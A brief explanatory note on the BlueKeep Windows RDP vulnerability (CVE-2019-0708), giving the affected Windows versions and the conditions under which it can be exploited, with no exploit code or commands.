BlueKeep (CVE-2019-0708)

It is the name given to an RDP vulnerability in Windows that could potentially allow attackers to remotely execute arbitrary code and gain access to a Windows system.

It allows attackers to gain access to a chunk of kernel memory allowing them to remotely execute code at the system level without authentication.

The BlueKeep vulnerability affects multiple versions: XP, Vista, Windows7, Windows Server 2008 & R2.

RDP needs to be enabled on the target system.

If NLA is enabled this exploit will likely fail.
